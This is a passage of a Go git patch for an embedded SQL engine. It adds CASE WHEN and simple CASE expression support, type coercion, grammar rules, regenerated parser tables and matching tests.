implicitTable) + } + } + + if ce.elseExp == nil { + return NewNull(AnyType), nil + } + return ce.elseExp.reduce(tx, row, implicitTable) +} + +func (ce *CaseWhenExp) reduceSelectors(row *Row, implicitTable string) ValueExp { + whenThen := make([]whenThenClause, len(ce.whenThen)) + for i, wt := range ce.whenThen { + whenValue := wt.when.reduceSelectors(row, implicitTable) + whenThen[i].when = whenValue + + thenValue := wt.then.reduceSelectors(row, implicitTable) + whenThen[i].then = thenValue + } + + if ce.elseExp == nil { + return &CaseWhenExp{ + whenThen: whenThen, + } + } + + return &CaseWhenExp{ + whenThen: whenThen, + elseExp: ce.elseExp.reduceSelectors(row, implicitTable), + } +} + +func (ce *CaseWhenExp) isConstant() bool { + return false +} + +func (ce *CaseWhenExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { + return nil +} + +func (ce *CaseWhenExp) String() string { + var sb strings.Builder + for _, wh := range ce.whenThen { + sb.WriteString(fmt.Sprintf("WHEN %s THEN %s ", wh.when.String(), wh.then.String())) + } + + if ce.elseExp != nil { + sb.WriteString("ELSE " + ce.elseExp.String() + " ") + } + return "CASE " + sb.String() + "END" +} + type Comparison int const ( @@ -4326,7 +4497,8 @@ func (bexp *CmpBoolExp) inferType(cols map[string]ColDescriptor, params map[stri return BooleanType, nil } - if tleft != AnyType && tright != AnyType { + _, ok := coerceTypes(tleft, tright) + if !ok { return AnyType, fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, tleft, tright) } @@ -4343,10 +4515,24 @@ func (bexp *CmpBoolExp) inferType(cols map[string]ColDescriptor, params map[stri return AnyType, err } } - return BooleanType, nil } +func coerceTypes(t1, t2 SQLValueType) (SQLValueType, bool) { + switch { + case t1 == t2: + return t1, true + case t1 == AnyType: + return t2, true + case t2 == AnyType: + return t1, true + case (t1 == IntegerType && t2 == Float64Type) || + (t1 == Float64Type && t2 == IntegerType): + return Float64Type, true + } + return "", false +} + func (bexp *CmpBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BooleanType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) @@ -4410,7 +4596,7 @@ func (bexp *CmpBoolExp) isConstant() bool { } func (bexp *CmpBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { - matchingFunc := func(left, right ValueExp) (*ColSelector, ValueExp, bool) { + matchingFunc := func(_, right ValueExp) (*ColSelector, ValueExp, bool) { s, isSel := bexp.left.(*ColSelector) if isSel && s.col != revCol && bexp.right.isConstant() { return s, right, true diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index 4d4e1f791b..5ec6f3d4f6 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -840,6 +840,94 @@ func TestYetUnsupportedInSubQueryExp(t *testing.T) { require.Nil(t, exp.selectorRanges(nil, "", nil, nil)) } +func TestCaseWhenExp(t *testing.T) { + e, err := ParseExpFromString( + "CASE WHEN salary > 100000 THEN @p0 ELSE @p1 END", + ) + require.NoError(t, err) + + e, err = e.substitute(map[string]interface{}{"p0": int64(0), "p1": int64(1)}) + require.NoError(t, err) + + err = e.requiresType(IntegerType, map[string]ColDescriptor{ + EncodeSelector("", "", "salary"): {Type: IntegerType}, + }, nil, "") + require.NoError(t, err) + + require.False(t, e.isConstant()) + require.Nil(t, e.selectorRanges(nil, "", nil, nil)) + + row := &Row{ValuesBySelector: map[string]TypedValue{EncodeSelector("", "", "salary"): &Integer{50000}}} + require.Equal(t, + &CaseWhenExp{ + whenThen: []whenThenClause{ + { + when: NewCmpBoolExp(GT, &Integer{50000}, &Integer{100000}), then: &Integer{0}, + }, + }, + elseExp: &Integer{1}, + }, e.reduceSelectors(row, "")) + + v, err := e.reduce(nil, row, "") + require.NoError(t, err) + require.Equal(t, int64(1), v.RawValue()) +} + +func TestInferTypeCaseWhenExp(t *testing.T) { + e, err := ParseExpFromString( + "CASE WHEN salary THEN 10 ELSE '0' END", + ) + require.NoError(t, err) + + _, err = e.inferType( + map[string]ColDescriptor{ + EncodeSelector("", "", "salary"): {Type: IntegerType}, + }, + nil, + "", + ) + require.ErrorIs(t, err, ErrInvalidTypes) + + e, err = ParseExpFromString( + "CASE WHEN salary > 0 THEN 10 ELSE '0' END", + ) + require.NoError(t, err) + + _, err = e.inferType( + map[string]ColDescriptor{ + EncodeSelector("", "", "salary"): {Type: IntegerType}, + }, + nil, + "", + ) + require.ErrorIs(t, err, ErrInferredMultipleTypes) + + e, err = ParseExpFromString( + "CASE WHEN salary > 0 THEN 10 ELSE 0 END", + ) + require.NoError(t, err) + + it, err := e.inferType( + map[string]ColDescriptor{ + EncodeSelector("", "", "salary"): {Type: IntegerType}, + }, + nil, + "", + ) + require.NoError(t, err) + require.Equal(t, IntegerType, it) + + it, err = e.inferType( + map[string]ColDescriptor{ + EncodeSelector("", "", "salary"): {Type: Float64Type}, + }, + nil, + "", + ) + require.NoError(t, err) + require.Equal(t, IntegerType, it) +} + func TestLikeBoolExpEdgeCases(t *testing.T) { exp := &LikeBoolExp{} From fef9d8d39c73cc3c26ad1cb484a0cb97542fb004 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 27 Nov 2024 15:28:59 +0100 Subject: [PATCH 1056/1062] chore(embedded/sql): Add support for simple CASE statements Signed-off-by: Stefano Scafiti --- embedded/sql/engine_test.go | 6 +- embedded/sql/parser_test.go | 51 ++++ embedded/sql/sql_grammar.y | 27 +- embedded/sql/sql_parser.go | 542 ++++++++++++++++++------------------ embedded/sql/stmt.go | 57 +++- embedded/sql/stmt_test.go | 200 ++++++++----- 6 files changed, 521 insertions(+), 362 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 5244f5e4aa..4706150262 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -2973,13 +2973,13 @@ func TestQuery(t *testing.T) { `SELECT department, job_title, - CASE - WHEN department = 'sales' THEN + CASE department + WHEN 'sales' THEN CASE WHEN job_title = 'manager' THEN '20% Bonus' ELSE '10% Bonus' END - WHEN department = 'engineering' THEN + WHEN 'engineering' THEN CASE WHEN job_title = 'senior engineer' THEN '15% Bonus' ELSE '5% Bonus' diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index ef8dceb6a8..953b0c0e2c 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -1674,6 +1674,57 @@ func TestParseExp(t *testing.T) { }}, expectedError: nil, }, + { + input: "SELECT CASE 1 + 1 WHEN 2 THEN 1 ELSE 0 END FROM my_table", + expectedOutput: []SQLStmt{ + &SelectStmt{ + ds: &tableRef{table: "my_table"}, + targets: []TargetEntry{ + { + Exp: &CaseWhenExp{ + exp: &NumExp{ + op: ADDOP, + left: &Integer{1}, + right: &Integer{1}, + }, + whenThen: []whenThenClause{ + { + when: &Integer{2}, + then: &Integer{1}, + }, + }, + elseExp: &Integer{0}, + }, + }, + }, + }, + }, + }, + { + input: "SELECT CASE WHEN is_deleted OR is_expired THEN 1 END AS is_deleted_or_expired FROM my_table", + expectedOutput: []SQLStmt{ + &SelectStmt{ + ds: &tableRef{table: "my_table"}, + targets: []TargetEntry{ + { + Exp: &CaseWhenExp{ + whenThen: []whenThenClause{ + { + when: &BinBoolExp{ + op: OR, + left: &ColSelector{col: "is_deleted"}, + right: &ColSelector{col: "is_expired"}, + }, + then: &Integer{1}, + }, + }, + }, + As: "is_deleted_or_expired", + }, + }, + }, + }, + }, { input: "SELECT CASE WHEN is_deleted OR is_expired THEN 1 END AS is_deleted_or_expired FROM my_table", expectedOutput: []SQLStmt{ diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 4fe736f332..115e350ff8 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -136,7 +136,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type join %type opt_join_type %type opt_checks -%type exp opt_where opt_having boundexp opt_else when_then_else +%type exp opt_exp opt_where opt_having boundexp opt_else %type binExp %type opt_groupby %type opt_limit opt_offset case_when_exp @@ -1057,6 +1057,17 @@ opt_checks: $$ = append([]CheckConstraint{{name: $2, exp: $4}}, $6...) } +opt_exp: + { + $$ = nil + } +| + exp + { + $$ = $1 + } +; + exp: boundexp { @@ -1104,18 +1115,12 @@ exp: } case_when_exp: - CASE when_then_else END - { - $$ = $2 - } -; - -when_then_else: - when_then_clauses opt_else + CASE opt_exp when_then_clauses opt_else END { $$ = &CaseWhenExp{ - whenThen: $1, - elseExp: $2, + exp: $2, + whenThen: $3, + elseExp: $4, } } ; diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 266135dabe..33b1b4bd62 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -134,38 +134,37 @@ const WHEN = 57415 const THEN = 57416 const ELSE = 57417 const END = 57418 -const BETWEEN = 57419 -const NOT = 57420 -const LIKE = 57421 -const IF = 57422 -const EXISTS = 57423 -const IN = 57424 -const IS = 57425 -const AUTO_INCREMENT = 57426 -const NULL = 57427 -const CAST = 57428 -const SCAST = 57429 -const SHOW = 57430 -const DATABASES = 57431 -const TABLES = 57432 -const USERS = 57433 -const NPARAM = 57434 -const PPARAM = 57435 -const JOINTYPE = 57436 -const LOP = 57437 -const CMPOP = 57438 -const IDENTIFIER = 57439 -const TYPE = 57440 -const INTEGER = 57441 -const FLOAT = 57442 -const VARCHAR = 57443 -const BOOLEAN = 57444 -const BLOB = 57445 -const AGGREGATE_FUNC = 57446 -const ERROR = 57447 -const DOT = 57448 -const ARROW = 57449 -const STMT_SEPARATOR = 57450 +const NOT = 57419 +const LIKE = 57420 +const IF = 57421 +const EXISTS = 57422 +const IN = 57423 +const IS = 57424 +const AUTO_INCREMENT = 57425 +const NULL = 57426 +const CAST = 57427 +const SCAST = 57428 +const SHOW = 57429 +const DATABASES = 57430 +const TABLES = 57431 +const USERS = 57432 +const NPARAM = 57433 +const PPARAM = 57434 +const JOINTYPE = 57435 +const LOP = 57436 +const CMPOP = 57437 +const IDENTIFIER = 57438 +const TYPE = 57439 +const INTEGER = 57440 +const FLOAT = 57441 +const VARCHAR = 57442 +const BOOLEAN = 57443 +const BLOB = 57444 +const AGGREGATE_FUNC = 57445 +const ERROR = 57446 +const DOT = 57447 +const ARROW = 57448 +const STMT_SEPARATOR = 57449 var yyToknames = [...]string{ "$end", @@ -244,7 +243,6 @@ var yyToknames = [...]string{ "THEN", "ELSE", "END", - "BETWEEN", "NOT", "LIKE", "IF", @@ -300,138 +298,138 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 97, - 79, 191, - 82, 191, - -2, 172, - -1, 272, + 78, 192, + 81, 192, + -2, 174, + -1, 268, 59, 145, -2, 140, - -1, 320, + -1, 317, 59, 145, -2, 142, } const yyPrivate = 57344 -const yyLast = 582 +const yyLast = 583 var yyAct = [...]int16{ - 131, 427, 103, 107, 313, 202, 266, 336, 351, 208, - 153, 354, 115, 244, 249, 319, 245, 308, 199, 299, - 71, 394, 144, 22, 6, 147, 342, 264, 341, 415, - 355, 264, 294, 264, 264, 264, 399, 129, 130, 106, - 379, 368, 343, 303, 265, 99, 161, 398, 101, 356, - 24, 395, 118, 114, 387, 21, 370, 367, 365, 116, - 117, 329, 96, 327, 119, 161, 109, 110, 111, 112, - 113, 108, 154, 155, 157, 156, 158, 100, 160, 326, - 426, 324, 293, 105, 242, 291, 290, 285, 263, 352, - 106, 154, 155, 157, 156, 158, 99, 179, 240, 101, - 167, 168, 298, 118, 114, 284, 170, 178, 161, 178, - 116, 117, 132, 161, 149, 119, 279, 109, 110, 111, - 112, 113, 108, 278, 277, 159, 160, 276, 100, 251, - 188, 187, 181, 177, 105, 176, 157, 156, 158, 154, - 155, 157, 156, 158, 169, 143, 204, 232, 142, 163, - 213, 419, 381, 217, 145, 218, 219, 220, 221, 222, - 223, 224, 201, 161, 215, 185, 186, 295, 294, 205, - 161, 264, 152, 83, 237, 159, 160, 162, 243, 246, - 241, 238, 159, 160, 175, 179, 289, 134, 378, 154, - 155, 157, 156, 158, 231, 416, 154, 155, 157, 156, - 158, 206, 242, 260, 253, 255, 377, 254, 271, 108, - 239, 269, 339, 32, 272, 338, 211, 212, 214, 163, - 33, 334, 296, 230, 216, 106, 280, 76, 281, 283, - 273, 99, 270, 242, 101, 274, 286, 287, 118, 114, - 200, 373, 362, 210, 347, 116, 117, 162, 346, 345, - 119, 328, 109, 110, 111, 112, 113, 108, 311, 148, - 259, 258, 257, 100, 94, 256, 250, 252, 315, 105, - 297, 247, 227, 197, 196, 189, 317, 250, 182, 150, - 305, 133, 122, 312, 323, 246, 120, 91, 310, 333, - 310, 54, 80, 79, 78, 335, 75, 70, 77, 161, - 69, 331, 322, 31, 292, 207, 376, 166, 393, 330, - 337, 159, 160, 375, 226, 353, 165, 344, 161, 58, - 275, 225, 357, 22, 389, 154, 155, 157, 156, 158, - 159, 160, 282, 369, 60, 361, 359, 363, 364, 372, - 366, 358, 392, 39, 154, 155, 157, 156, 158, 161, - 180, 106, 65, 246, 309, 21, 121, 99, 233, 49, - 101, 22, 22, 173, 118, 114, 382, 235, 90, 236, - 386, 116, 117, 215, 228, 383, 119, 229, 109, 110, - 111, 112, 113, 108, 55, 56, 57, 59, 410, 100, - 397, 407, 403, 21, 21, 105, 314, 406, 404, 418, - 405, 267, 411, 402, 332, 145, 413, 161, 385, 288, - 428, 429, 401, 161, 360, 420, 417, 151, 161, 159, - 160, 424, 422, 425, 421, 159, 160, 140, 52, 430, - 159, 160, 431, 154, 155, 157, 156, 158, 64, 154, - 155, 157, 156, 158, 154, 155, 157, 156, 158, 10, - 12, 11, 43, 47, 62, 408, 396, 209, 380, 88, - 51, 50, 25, 82, 92, 339, 66, 67, 338, 390, - 388, 371, 13, 193, 194, 48, 137, 53, 190, 191, - 192, 14, 15, 304, 262, 261, 7, 414, 8, 9, - 16, 17, 349, 44, 18, 19, 36, 46, 45, 135, - 136, 22, 316, 183, 42, 26, 30, 124, 85, 86, - 87, 34, 123, 35, 2, 84, 81, 268, 68, 40, - 38, 27, 29, 28, 325, 128, 127, 73, 74, 300, - 301, 302, 195, 21, 184, 37, 138, 125, 307, 63, - 306, 141, 139, 203, 23, 172, 41, 348, 146, 164, - 374, 391, 409, 423, 340, 95, 93, 102, 384, 98, - 171, 234, 97, 400, 321, 320, 318, 126, 72, 89, - 61, 174, 104, 350, 412, 198, 248, 20, 5, 4, - 3, 1, + 131, 428, 103, 107, 310, 153, 262, 335, 201, 353, + 115, 207, 350, 240, 245, 241, 316, 305, 71, 144, + 198, 296, 395, 147, 22, 260, 341, 6, 340, 260, + 291, 416, 130, 260, 400, 260, 399, 396, 379, 367, + 106, 129, 342, 387, 300, 99, 161, 260, 101, 370, + 366, 364, 118, 114, 326, 21, 261, 324, 323, 116, + 117, 354, 96, 321, 119, 290, 109, 110, 111, 112, + 113, 108, 154, 155, 157, 156, 158, 100, 288, 287, + 355, 178, 281, 105, 106, 259, 351, 295, 280, 99, + 161, 177, 101, 177, 275, 274, 118, 114, 273, 272, + 167, 168, 247, 116, 117, 187, 170, 172, 119, 163, + 109, 110, 111, 112, 113, 108, 132, 149, 157, 156, + 158, 100, 161, 238, 180, 176, 175, 105, 169, 143, + 142, 186, 24, 427, 159, 160, 162, 236, 145, 420, + 381, 292, 291, 260, 212, 152, 203, 234, 154, 155, + 157, 156, 158, 216, 83, 217, 218, 219, 220, 221, + 222, 223, 214, 106, 200, 174, 204, 178, 99, 184, + 185, 101, 134, 286, 238, 118, 114, 239, 242, 237, + 256, 108, 116, 117, 205, 249, 235, 119, 378, 109, + 110, 111, 112, 113, 108, 377, 163, 230, 333, 338, + 100, 94, 337, 293, 251, 32, 105, 267, 250, 210, + 211, 213, 33, 265, 229, 238, 268, 215, 161, 199, + 276, 76, 277, 162, 373, 361, 346, 269, 279, 266, + 106, 160, 319, 345, 285, 99, 209, 270, 101, 344, + 325, 308, 118, 114, 154, 155, 157, 156, 158, 116, + 117, 148, 255, 254, 119, 253, 109, 110, 111, 112, + 113, 108, 252, 246, 312, 246, 248, 100, 294, 243, + 226, 196, 314, 105, 195, 320, 188, 181, 302, 309, + 150, 242, 133, 122, 330, 331, 120, 307, 91, 307, + 54, 77, 334, 80, 31, 79, 328, 78, 75, 70, + 69, 206, 166, 376, 394, 271, 306, 336, 327, 161, + 375, 165, 352, 161, 22, 225, 343, 22, 278, 356, + 39, 227, 224, 393, 228, 159, 160, 360, 179, 362, + 363, 65, 365, 369, 358, 357, 49, 121, 372, 154, + 155, 157, 156, 158, 58, 21, 22, 231, 21, 329, + 233, 55, 242, 283, 161, 284, 90, 411, 311, 60, + 161, 429, 430, 263, 419, 382, 159, 160, 403, 388, + 214, 386, 159, 160, 385, 145, 383, 21, 402, 417, + 154, 155, 157, 156, 158, 390, 154, 155, 157, 156, + 158, 151, 408, 405, 398, 404, 359, 52, 407, 406, + 368, 62, 409, 412, 140, 397, 332, 414, 161, 56, + 57, 59, 380, 88, 161, 51, 421, 418, 50, 25, + 159, 160, 425, 423, 426, 422, 159, 160, 82, 92, + 431, 391, 289, 432, 154, 155, 157, 156, 158, 161, + 154, 155, 157, 156, 158, 161, 389, 10, 12, 11, + 338, 159, 160, 337, 64, 43, 47, 159, 160, 371, + 189, 208, 192, 193, 301, 154, 155, 157, 156, 158, + 13, 154, 155, 157, 156, 158, 190, 191, 48, 14, + 15, 53, 66, 67, 7, 137, 8, 9, 16, 17, + 258, 257, 18, 19, 415, 348, 44, 313, 182, 22, + 46, 45, 26, 30, 123, 84, 264, 42, 135, 136, + 36, 81, 85, 86, 87, 68, 2, 38, 27, 29, + 28, 322, 40, 124, 194, 34, 183, 35, 128, 127, + 21, 138, 37, 73, 74, 297, 298, 299, 125, 304, + 303, 63, 141, 139, 202, 23, 232, 41, 347, 146, + 164, 374, 392, 410, 424, 339, 95, 93, 102, 384, + 98, 282, 97, 401, 171, 318, 317, 315, 126, 72, + 89, 61, 173, 104, 349, 413, 197, 244, 20, 5, + 4, 3, 1, } var yyPact = [...]int16{ - 445, -1000, -1000, -65, -1000, -1000, -1000, 420, -1000, -1000, - 498, 206, 488, 512, 448, 448, 414, 413, 370, 194, - 314, 296, 397, -1000, 445, -1000, 272, 272, 272, 493, - 203, -1000, 200, 511, 199, 201, 197, 196, 195, 490, - 423, 65, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 489, - 194, 194, 194, 408, -1000, 297, -1000, -1000, 190, -1000, - 425, 153, -1000, -1000, 189, 278, 185, 486, 272, 528, - -1000, -1000, 507, 18, 18, -1000, 184, 81, -1000, 471, - 527, 535, -1000, 448, 534, 32, 29, 344, 162, 267, - -1000, -1000, 182, 359, -1000, 64, 80, 229, -1000, 279, - 279, 28, -1000, -1000, -1000, 279, 290, 77, 19, -1000, - -1000, -1000, -1000, -1000, 17, -1000, -1000, -1000, -1000, -9, - -1000, 269, 16, 181, 477, 524, -1000, 18, 18, -1000, - 279, 324, -1000, 14, 178, 447, 449, 442, 522, 177, - -1000, 176, 143, 143, 537, 279, 93, -1000, 209, -1000, - -1000, 127, 279, -1000, 279, 279, 279, 279, 279, 279, - 279, 236, -1000, 175, 295, 125, -1000, -18, 25, 267, - 30, 282, 294, 279, 74, 109, -13, 279, 279, 174, - -1000, 169, 13, 170, 103, -1000, -1000, 324, 143, -1000, - 169, 168, 165, 164, 163, 102, 455, 454, -29, 63, - -1000, -73, 337, 492, 324, 537, 162, 279, 537, 511, - 305, 11, 8, 7, 0, 150, -7, 80, 25, 25, - 266, 266, 266, -18, -37, -1000, 247, -1000, 279, -11, - -1000, -30, -1000, -1000, -1000, 279, 279, 335, 85, -1000, - -31, -32, 79, 235, -35, 60, 324, -1000, 59, -1000, - 124, 143, -14, 518, -74, -1000, -1000, 453, -1000, -1000, - 518, 532, 530, 306, 161, 306, 331, 279, 476, 337, - -1000, 324, 208, 150, -36, 503, -38, -54, 154, -56, - -1000, -1000, -1000, -18, -33, -1000, 330, 324, 279, -1000, - -1000, -1000, 123, -1000, 279, 180, -90, -75, 143, -1000, - -1000, -1000, -1000, -1000, 152, -1000, 151, 147, 466, -27, - -1000, -1000, -1000, -1000, 279, 324, -67, 331, 344, -1000, - 208, 355, -1000, -1000, 150, 145, 150, 150, -59, 150, - -60, -76, 279, 324, -61, 324, 438, -1000, 279, 144, - 228, 107, 89, -1000, -77, -1000, -1000, -1000, -1000, 406, - 44, -1000, 279, 324, -1000, -1000, 143, -1000, 346, -1000, - 127, -1000, -63, -1000, -1000, -1000, -1000, -1000, -1000, 324, - -1000, 436, 216, 434, 258, -1000, 223, -98, -66, -1000, - 403, -27, -70, -81, 352, 340, 537, 150, -67, 433, - 279, -1000, -1000, -1000, -1000, -1000, 401, -1000, -1000, -1000, - 322, 279, 136, 461, -1000, -88, -1000, 87, -1000, 337, - 336, 324, 43, -1000, 279, -1000, 433, 331, 105, 136, - 324, -1000, -1000, -28, 343, -1000, 105, -1000, -1000, -1000, - 343, -1000, + 443, -1000, -1000, 18, -1000, -1000, -1000, 377, -1000, -1000, + 495, 198, 502, 509, 451, 451, 371, 368, 339, 194, + 281, 321, 344, -1000, 443, -1000, 252, 252, 252, 490, + 204, -1000, 203, 517, 202, 195, 201, 199, 197, 485, + 388, 47, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 479, + 194, 194, 194, 362, -1000, 285, -1000, -1000, 192, -1000, + 390, 91, -1000, -1000, 190, 260, 187, 478, 252, 529, + -1000, -1000, 510, 12, 12, -1000, 186, 67, -1000, 480, + 522, 536, -1000, 451, 535, 15, 14, 314, 155, 261, + -1000, -1000, 184, 333, -1000, 38, 40, 225, -1000, 158, + 158, 13, -1000, -1000, -1000, 158, 158, 59, 11, -1000, + -1000, -1000, -1000, -1000, 10, -1000, -1000, -1000, -1000, -24, + -1000, 248, 9, 181, 472, 516, -1000, 12, 12, -1000, + 158, 357, -1000, -10, 180, 429, 446, 431, 514, 178, + -1000, 175, 123, 123, 538, 158, 77, -1000, 206, -1000, + -1000, 121, 158, -1000, 158, 158, 158, 158, 158, 158, + 158, 238, -1000, 174, 243, 117, -1000, 136, 8, 261, + 231, 277, 357, 41, 86, 27, 158, 158, 173, -1000, + 169, -13, 170, 85, -1000, -1000, 357, 123, -1000, 169, + 166, 159, 157, 156, 80, 461, 460, -31, 36, -1000, + -60, 299, 481, 357, 538, 155, 158, 538, 517, 290, + -16, -17, -20, -21, 127, -22, 40, 8, 8, 227, + 227, 227, 136, -36, -1000, 234, -1000, 158, -27, -1000, + -34, -1000, 280, 158, 73, -1000, -37, -38, 62, 363, + -51, 35, 357, -1000, 34, -1000, 106, 123, -28, 524, + -72, -1000, -1000, 434, -1000, -1000, 524, 532, 531, 258, + 145, 258, 293, 158, 471, 299, -1000, 357, 139, 127, + -53, 500, -58, -59, 144, -62, -1000, -1000, -1000, 136, + -32, -1000, 273, 158, 158, 332, -1000, -1000, -1000, 101, + -1000, 158, 167, -89, -74, 123, -1000, -1000, -1000, -1000, + -1000, 143, -1000, 137, 130, 469, -29, -1000, -1000, -1000, + -1000, 158, 357, -35, 293, 314, -1000, 139, 337, -1000, + -1000, 127, 129, 127, 127, -65, 127, -66, -77, -1000, + 326, 357, 158, -67, 357, 426, -1000, 158, 128, 226, + 97, 90, -1000, -78, -1000, -1000, -1000, -1000, 360, 33, + -1000, 158, 357, -1000, -1000, 123, -1000, 312, -1000, 121, + -1000, -73, -1000, -1000, -1000, -1000, -1000, -1000, 158, 357, + -1000, 412, 278, 396, 240, -1000, 220, -96, -79, -1000, + 352, -29, -80, -82, 318, 305, 538, 127, 357, -35, + 418, 158, -1000, -1000, -1000, -1000, -1000, 348, -1000, -1000, + -1000, 291, 158, 119, 468, -1000, -85, -1000, 272, -1000, + 299, 301, 357, 32, -1000, 158, -1000, 418, 293, 78, + 119, 357, -1000, -1000, 26, 294, -1000, 78, -1000, -1000, + -1000, 294, -1000, } var yyPgo = [...]int16{ - 0, 581, 514, 580, 579, 578, 24, 577, 576, 14, - 18, 11, 575, 574, 573, 8, 16, 13, 572, 12, - 2, 571, 3, 570, 569, 9, 17, 457, 20, 568, - 567, 37, 566, 15, 565, 564, 7, 0, 22, 563, - 562, 561, 560, 559, 558, 6, 4, 557, 556, 555, - 554, 10, 553, 552, 1, 5, 438, 551, 550, 549, - 25, 548, 547, 19, 546, 343, 545, 544, + 0, 582, 516, 581, 580, 579, 27, 578, 577, 14, + 20, 9, 576, 575, 574, 12, 15, 13, 573, 10, + 2, 572, 3, 571, 570, 11, 17, 461, 18, 569, + 568, 41, 567, 16, 566, 565, 7, 0, 564, 19, + 563, 562, 561, 560, 559, 6, 4, 558, 557, 556, + 555, 5, 554, 553, 1, 8, 454, 552, 551, 550, + 23, 549, 548, 21, 547, 320, 546, 545, } var yyR1 = [...]int8{ @@ -449,13 +447,13 @@ var yyR1 = [...]int8{ 48, 48, 49, 49, 20, 20, 20, 20, 21, 21, 22, 22, 25, 25, 25, 25, 25, 25, 25, 25, 27, 28, 29, 29, 29, 30, 30, 30, 31, 31, - 32, 32, 33, 33, 34, 35, 35, 38, 38, 44, - 44, 39, 39, 45, 45, 46, 46, 53, 53, 55, + 32, 32, 33, 33, 34, 35, 35, 39, 39, 44, + 44, 40, 40, 45, 45, 46, 46, 53, 53, 55, 55, 52, 52, 54, 54, 54, 51, 51, 51, 36, - 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, - 37, 47, 42, 66, 66, 41, 41, 40, 40, 40, - 40, 59, 59, 43, 43, 43, 43, 43, 43, 43, - 43, 43, + 36, 36, 38, 38, 37, 37, 37, 37, 37, 37, + 37, 37, 37, 47, 66, 66, 42, 42, 41, 41, + 41, 41, 59, 59, 43, 43, 43, 43, 43, 43, + 43, 43, 43, } var yyR2 = [...]int8{ @@ -476,57 +474,57 @@ var yyR2 = [...]int8{ 0, 1, 1, 2, 6, 0, 1, 0, 2, 0, 3, 0, 2, 0, 2, 0, 2, 0, 3, 0, 4, 2, 4, 0, 1, 1, 0, 1, 2, 0, - 4, 6, 1, 1, 2, 2, 4, 4, 6, 6, - 1, 3, 2, 4, 5, 0, 2, 1, 1, 3, - 3, 0, 1, 3, 3, 3, 3, 3, 3, 3, - 3, 4, + 4, 6, 0, 1, 1, 1, 2, 2, 4, 4, + 6, 6, 1, 5, 4, 5, 0, 2, 1, 1, + 3, 3, 0, 1, 3, 3, 3, 3, 3, 3, + 3, 3, 4, } var yyChk = [...]int16{ -1000, -1, -2, -3, -4, -5, -6, 41, 43, 44, 4, 6, 5, 27, 36, 37, 45, 46, 49, 50, - -7, 88, 56, -67, 115, 42, 7, 23, 25, 24, - 8, 97, 7, 14, 23, 25, 8, 23, 8, -65, + -7, 87, 56, -67, 114, 42, 7, 23, 25, 24, + 8, 96, 7, 14, 23, 25, 8, 23, 8, -65, 71, -64, 56, 4, 45, 50, 49, 5, 27, -65, - 47, 47, 58, -27, 97, 70, 89, 90, 23, 91, - 38, -23, 57, -2, -56, 80, -56, -56, 25, 97, - 97, -28, -29, 16, 17, 97, 26, 97, 97, 97, - 97, 26, 40, 108, 26, -27, -27, -27, 51, -24, - 71, 97, 39, -48, 111, -49, -37, -40, -43, 78, - 110, 81, -47, -20, -18, 116, 72, -22, 104, 99, - 100, 101, 102, 103, 86, -19, 92, 93, 85, 97, - 97, 78, 97, 26, -56, 9, -30, 19, 18, -31, - 20, -37, -31, 97, 106, 28, 29, 5, 9, 7, - -65, 7, 116, 116, -38, 61, -61, -60, 97, -6, - 97, 58, 108, -51, 109, 110, 112, 111, 113, 95, - 96, 83, 97, 69, -59, 87, 78, -37, -37, 116, - -37, -42, -66, 73, -21, 107, 116, 116, 116, 106, - 81, 116, 97, 26, 10, -31, -31, -37, 116, 97, - 31, 30, 31, 31, 32, 10, 97, 97, -12, -10, - 97, -10, -55, 6, -37, -38, 108, 96, -25, -27, - 116, 89, 90, 23, 91, -19, 97, -37, -37, -37, - -37, -37, -37, -37, -37, 85, 78, 97, 79, 82, - 98, -6, 117, 76, -41, 73, 75, -37, 107, 101, - 111, -22, 97, -37, -17, -16, -37, 97, -8, -9, - 97, 116, 97, 101, -10, -9, 97, 97, 97, 97, - 101, 30, 30, 117, 108, 117, -45, 64, 25, -55, - -60, -37, -55, -28, -6, 15, 116, 116, 116, 116, - -51, -51, 85, -37, 116, 117, -37, -37, 74, 101, - 117, 117, 69, 117, 108, 108, 98, -10, 116, -63, - 11, 12, 13, 117, 30, -63, 8, 8, -26, 48, - -6, 97, -26, -46, 65, -37, 26, -45, -32, -33, - -34, -35, 94, -51, 117, 21, 117, 117, 97, 117, - -6, -16, 74, -37, 98, -37, -36, -9, 35, 32, - -50, 118, 116, 117, -10, 97, 97, 97, -62, 26, - -14, -15, 116, -37, -11, 97, 116, -46, -38, -33, - 59, -51, 97, -51, -51, 117, -51, 117, 117, -37, - 117, 33, -37, 97, -58, 85, 78, 99, 99, 117, - 52, 108, -17, -10, -44, 62, -25, 117, 34, 108, - 35, -57, 84, 85, 119, 117, 53, -15, 117, 117, - -39, 60, 63, -55, -51, -11, -36, -37, 54, -53, - 66, -37, -13, -22, 26, 117, 108, -45, 63, 108, - -37, -36, -46, -52, -20, -22, 108, -54, 67, 68, - -20, -54, + 47, 47, 58, -27, 96, 70, 88, 89, 23, 90, + 38, -23, 57, -2, -56, 79, -56, -56, 25, 96, + 96, -28, -29, 16, 17, 96, 26, 96, 96, 96, + 96, 26, 40, 107, 26, -27, -27, -27, 51, -24, + 71, 96, 39, -48, 110, -49, 